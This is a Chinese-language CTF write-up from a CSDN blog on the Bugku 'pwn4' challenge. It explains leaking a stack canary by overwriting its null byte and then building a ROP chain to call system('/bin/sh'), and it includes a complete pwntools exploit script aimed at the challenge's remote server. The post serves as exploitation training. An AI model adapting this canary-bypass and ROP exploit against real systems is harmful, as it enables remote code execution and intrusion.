[Bugku CTF——Pwn] pwn4

最新推荐文章于 2024-09-13 19:13:56 发布

Y-peak

最新推荐文章于 2024-09-13 19:13:56 发布

阅读量576

点赞数 2

分类专栏： # Bugku CTF 文章标签： ROPgadget Canary保护 system函数 shellcode Pwn挑战

本文链接：https://blog.csdn.net/Y_peak/article/details/115084898

版权

Bugku CTF 专栏收录该内容

3 篇文章 0 订阅

订阅专栏

[Bugku CTF——Pwn] pwn4

题目地址：https://ctf.bugku.com/

给的提示很清楚，绕过canary保护

那就绕过就好
在这里插入图片描述
题目当中有system函数
利用ROPgadget就好

思路

将canary低位的 ‘\x00’ 给覆盖掉，就可以利用 %s 将其输出， leek出来

exploit

from pwn import *
#p = process('./pwn4_')
p = remote('114.67.246.176',15541)
pop_rdi = 0x0000000000400963
binsh = 0x0000000000601068
sys = 0x000000000040080C
payload = 'a' * (0x240 - 8)
p.sendlineafter('Please leave your name(Within 36 Length):', payload)
p.recvline()
canary = p.recv(7).rjust(8, '\x00')
#log.success('canary ---> : ' + canary)
print canary
payload1 = 'a' * (0x210 - 8) + canary + 'junkjunk' + p64(pop_rdi) + p64(binsh) + p64(sys)
p.sendafter('Please leave a message(Within 0x200 Length):' , payload1)
p.interactive()